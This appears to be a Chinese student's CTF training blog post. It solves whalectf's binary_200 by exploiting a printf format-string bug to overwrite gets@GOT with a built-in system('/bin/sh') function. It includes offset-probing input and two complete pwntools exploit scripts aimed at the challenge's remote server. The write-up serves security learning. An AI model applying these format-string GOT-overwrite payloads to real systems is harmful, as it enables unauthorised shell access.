pwn暑假训练(九) emem原来昨天是8今天是9
今天学习了一手格式化字符串,这个漏洞危害真的大~~
可以改覆写地址上所指向的值还可以泄露地址上的值这个真的太强了我们直接泄露一个libc函数的真实地址然后匹配libc找到基址偏移没有防护就什么都成了…
归正题我做了whalectf的binary_200练手
我们得到程序发现有用的信息如下
32位有nx,Canary found
ida打开
有一个后门函数
int canary_protect_me()
{return system("/bin/sh");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{char s; // [esp+14h] [ebp-2Ch]unsigned int v5; // [esp+3Ch] [ebp-4h]v5 = __readgsdword(0x14u);setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);gets(&s);printf(&s);gets(&s);return 0;
}
有溢出但有Canary如果你够强似乎可以去泄露Canary然后溢出但我这里就不用的因为阅读程序可知这个程序有格式化字符串漏洞printf(&s);
我们先猜测偏移
AAAA%p %p %p %p %p %p %p %p %p %p %p %p %P
AAAA(nil) 0x1 (nil) 0xf7f433fc 0x41414141 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 0x20702520 0x25207025 %P
这是我尝试的发现格式化字符串的偏移为5然后我们继续阅读程序
发现程序继续让我们输入调用了get()函数
.text:080485D3 call _printf
.text:080485D8 ; 10: gets(&s);
.text:080485D8 lea eax, [esp+40h+s]
.text:080485DC mov [esp], eax ; s
.text:080485DF call _gets
.text:080485E4 mov eax, 0
.text:080485E9 mov edx, [esp+3Ch]
.text:080485ED xor edx, large gs:14h
.text:080485F4 jz short locret_8
找到这个函数的got地址我们就可以利用这个函数将其got表地址对应的函数改成后门函数从而getshell
直接上我的exp:
from pwn import *
#p=process('../binary_200')
p=remote('bamboofox.cs.nctu.edu.tw',22002)
elf=ELF('../binary_200')
system_addr=0x0804854D
gets_got=elf.got['gets']
offset=5
payload=fmtstr_payload(offset,{gets_got:system_addr})
p.sendline(payload)
p.interactive()
emem这里还有大佬的exp我想记录一下pwntool的工具
from pwn import *addr_gets = 0x804a010
addr_protect_me = 0x804854d
#这个方法我有点不懂但应该是pwntool自带的工具用来算出偏移 ??
def exec_fmt(payload):# p = remote("bamboofox.cs.nctu.edu.tw", 22002)p = process("./pwn200")p.sendline(payload) return p.recv(4096)autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
# offset = 5
#这个后面的和我一样.....
payload = fmtstr_payload(offset, {addr_gets: addr_protect_me})
r = remote("bamboofox.cs.nctu.edu.tw", 22002)
r.sendline(payload)
r.interactive()
emempwn好难
pwn暑假训练(九) emem原来昨天是8今天是9相关推荐
- pwn暑假训练(十) emem这次的测验自己还是太菜
记一下昨天的测验我直接讲我没过的题目 有system函数没有'bin/sh'只开了nx但gadget少的可怜题目直接给了libc那就不用想了直接找偏移-我同学给的libc偏移不对- Gadgets i ...
- pwn暑假训练(五) 哇哇好久没打了
发现自己太菜所以自闭了几天~~ 做了个32pwn(badchars)记录一下 这道题IDA打开我们就会发现 void pwnme() {char *v0; // ST1C_4size_t n; // ...
- 【ECJTU_ACM 11级队员2012年暑假训练赛(8) - F - A Mame】
Home Problems Status Contest Register Login B题要套一个数论的模版,注意m=1!! C题可以二分匹配,把行列看作点; 不能开百度,开谷歌搜题解,再次强调!一 ...
- BUCTOJ2021年ACM竞赛班训练九题解
BUCTOJ2021年ACM竞赛班训练九题解 问题A 问题B 问题C 问题D 问题E 问题F 问题A 原题链接 A题题解: 首先让我们看看这个题的题目,ummm-好像要找题目,好吧,我们去看看题目在哪 ...
- 垃圾ACMer的暑假训练220716
垃圾ACMer的暑假训练220716 Codeforces Codeforces Round #807 (Div. 2) A. Mark the Photographer 原题指路:https://c ...
- 暑假训练-义乌(7.8-7.15)
暑假训练 模拟赛 图表 数据 7.8(lxl) 7.9(lxl) 7.10(lxl) 7.11(lxl) 7.12(wls) 7.13(wls) 7.14(wls) 7.15(lfds) 训练 数据结 ...
- 长沙学院2022暑假训练赛(一)六级阅读
D-六级阅读_长沙学院2022暑假训练赛(一) (nowcoder.com)https://ac.nowcoder.com/acm/contest/38762/D链接:登录-专业IT笔试面试备考平台_ ...
- 暑假训练pwn(七) pwnable mistake
终于做了一部分pwnable这道题很有意思感觉不像pwn 连上去有3个文件一个c文件一个执行文件一个password 打开c #include <stdio.h> #include < ...
- 任重道远——记2016暑假训练
写在前面 刚开学这几天比较忙碌,昨天课也比较满,然后又打了cf,所以写总结的事情倒是拖了很久,早些时间是想到周天写的,结果周六周天又扣了两天的51nod,好容易今天空课,刚好对前一段的状态做一个总结. ...
最新文章
- 教育部:住宿费可以退!你的学校退了吗?
- 阿里达摩院包揽AI领域六大权威榜单冠军:用人类的学习方式超越人类
- [译]Node v5.0.0 (Stable)
- 10个不太为人所知的,但实用的PHP函数
- [Mummy Maze] 宽度优先搜索
- [BZOJ3626] [LNOI2014] LCA 离线 树链剖分
- 数据结构之头结点链表的三种插入方式(头插法,尾插法,在pos处插入)
- cache数据库和mysql_并发环境下,先操作数据库还是先操作缓存?
- 【今日CV 计算机视觉论文速览 第134期】Fri, 21 Jun 2019
- spring-boot-maven-plugin插件
- 虚函数,虚基类 与纯虚函数 一
- 用python画八卦图-用Python中的画图工具turtle绘制八卦图
- 一年四个P(Project)
- 《计算机技术领域当前的主流技术及其社会需求调查报告》
- [云原生专题-28]:K8S - Kubernetes(K8S)Master集群构建与安装过程详细解读 - Dashboard的安装与访问
- 励志名言名句,2018励志名言名句大全
- notepad运行c语言教程,notepad怎么运行c语言
- 如何在visio中画出矩阵
- php7.0的新特性
- Win10+Cuda10.2的Pytorch安装
热门文章
- 盐于律己,甜以待人(*╹▽╹*)
- 解析华为MAS EIE系统硬件与软件结构
- 开课通知 | 《AISHELL-3语音合成实战》课程
- pd.concat()和pd.merge()
- 记录--WebSocket 原理
- 风车网陈晓峰回忆录:我的两个月倒闭史
- acer p3 171 装android,宏碁P3:平板PC一秒切换_Acer P3-171-3322Y2G06as_笔记本评测-中关村在线...
- matplotlib画小米新LOGO
- Fiddler下载安装及手机抓包--小白版
- javascript面试题大全_Js基础面试题(附答案)